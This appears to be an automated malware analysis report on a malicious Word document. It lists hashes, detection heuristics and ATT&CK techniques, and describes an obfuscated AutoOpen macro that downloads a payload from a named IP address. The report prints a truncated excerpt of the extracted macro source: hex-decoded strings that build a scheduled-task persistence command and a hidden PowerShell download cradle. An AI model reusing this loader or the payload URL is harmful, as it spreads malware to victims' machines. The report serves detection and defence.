Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 faf003c38758cf70…

MALICIOUS

Office (OLE)

59.0 KB Created: 2018-05-29 10:43:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 951d9f3320da660593930d3425a9271b SHA-1: 6bd48d65d8e32d37a509080be53643791a5dcbbe SHA-256: faf003c38758cf70b12bc4899714833e4713096c8f66163e753b3f0e70f2ba28
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains an obfuscated VBA macro that uses CreateObject to instantiate WScript.Shell. This script then executes a PowerShell command to download and run a payload from the URL http://118.193.251.137/dropbox/?p=BT67HU78HZ. The document body also contains a lure to enable content, indicating a phishing or social engineering attempt.

Heuristics 9

  • ClamAV: Doc.Malware.Valyria-6923224-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6923224-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://118.193.251.137/dropbox/?p=BT67HU78HZ\ In document text (OLE body)
    • http://118.193.251.137/dropbox/?p=BT67HU78HZIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12338 bytes
SHA-256: 82df26bc41e83ff38b208495eb2980d7515855dd3e3d28944053491889747406
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const aeezogzwmz = 2
Const jxhfkmgtxh = 1
Const smclblglao = 0

Sub AutoOpen()
'Selection.InlineShapes(1).PictureFormat.ColorType = msoPictureAutomatic
ActiveDocument.ActiveWindow.View.ShowHiddenText = True
Set hyspzfzcubtdjmmtvc = CreateObject(pqkfmwrpqirv("575363726970742e536865") & pqkfmwrpqirv("6c6c"))
Dim ASdiW83ASdjSn1
Dim ASdiW83ASdjSn2
Dim ASdiW83ASdjSn3
Dim ASdiW83ASdjSn4
Dim ASdiW83ASdjSn5
Dim ASdiW83ASdjSn6
Dim ASdiW83ASdjSn7
ASdiW83ASdjSn1 = pqkfmwrpqirv("53")
ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & pqkfmwrpqirv("63")
ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & pqkfmwrpqirv("68")
ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & pqkfmwrpqirv("54")
ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & pqkfmwrpqirv("61")
ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & pqkfmwrpqirv("73")
ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & pqkfmwrpqirv("6b")
ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & pqkfmwrpqirv("73202f")
ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & pqkfmwrpqirv("43")
ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & pqkfmwrpqirv("72")
ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & pqkfmwrpqirv("65")
ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & pqkfmwrpqirv("61")
ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & pqkfmwrpqirv("74")
ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & pqkfmwrpqirv("65202f")
ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & pqkfmwrpqirv("73")
ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & pqkfmwrpqirv("63204d")
ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & pqkfmwrpqirv("49")
ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & pqkfmwrpqirv("4e")
ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & pqkfmwrpqirv("55")
ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & pqkfmwrpqirv("54")
ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & pqkfmwrpqirv("45202f")
ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & pqkfmwrpqirv("4d")
ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & pqkfmwrpqirv("4f2031") & pqkfmwrpqirv("202f54")
ASdiW83ASdjSn1 = ASdiW83ASdjSn1 & pqkfmwrpqirv("4e2057")
ASdiW83ASdjSn2 = pqkfmwrpqirv("69")
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & pqkfmwrpqirv("6e")
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & pqkfmwrpqirv("64")
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & pqkfmwrpqirv("6f")
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & pqkfmwrpqirv("77")
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & pqkfmwrpqirv("73")
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & pqkfmwrpqirv("55")
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & pqkfmwrpqirv("70")
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & pqkfmwrpqirv("64")
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & pqkfmwrpqirv("61")
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & pqkfmwrpqirv("74")
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & pqkfmwrpqirv("65202f")
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & pqkfmwrpqirv("54")
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & "R ""P"
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & pqkfmwrpqirv("6f")
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & pqkfmwrpqirv("77")
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & pqkfmwrpqirv("65")
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & pqkfmwrpqirv("72")
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & pqkfmwrpqirv("73")
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & pqkfmwrpqirv("68")
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & pqkfmwrpqirv("65")
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & pqkfmwrpqirv("6c")
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & pqkfmwrpqirv("6c") & pqkfmwrpqirv("202d572048")
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & pqkfmwrpqirv("69")
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & pqkfmwrpqirv("64")
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & pqkfmwrpqirv("64")
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & pqkfmwrpqirv("65")
ASdiW83ASdjSn2 = ASdiW83ASdjSn2 & pqkfmwrpqirv("6e2028")
ASdiW83ASdjSn3 = pqkfmwrpqirv("4e")
ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & pqkfmwrpqirv("65")
ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & pqkfmwrpqirv("77")
ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & pqkfmwrpqirv("2d")
ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & pqkfmwrpqirv("4f")
ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & pqkfmwrpqirv("62")
ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & pqkfmwrpqirv("6a")
ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & pqkfmwrpqirv("65")
ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & pqkfmwrpqirv("63")
ASdiW83ASdjSn3 = ASdiW83ASdjSn3 & pqk
... (truncated)

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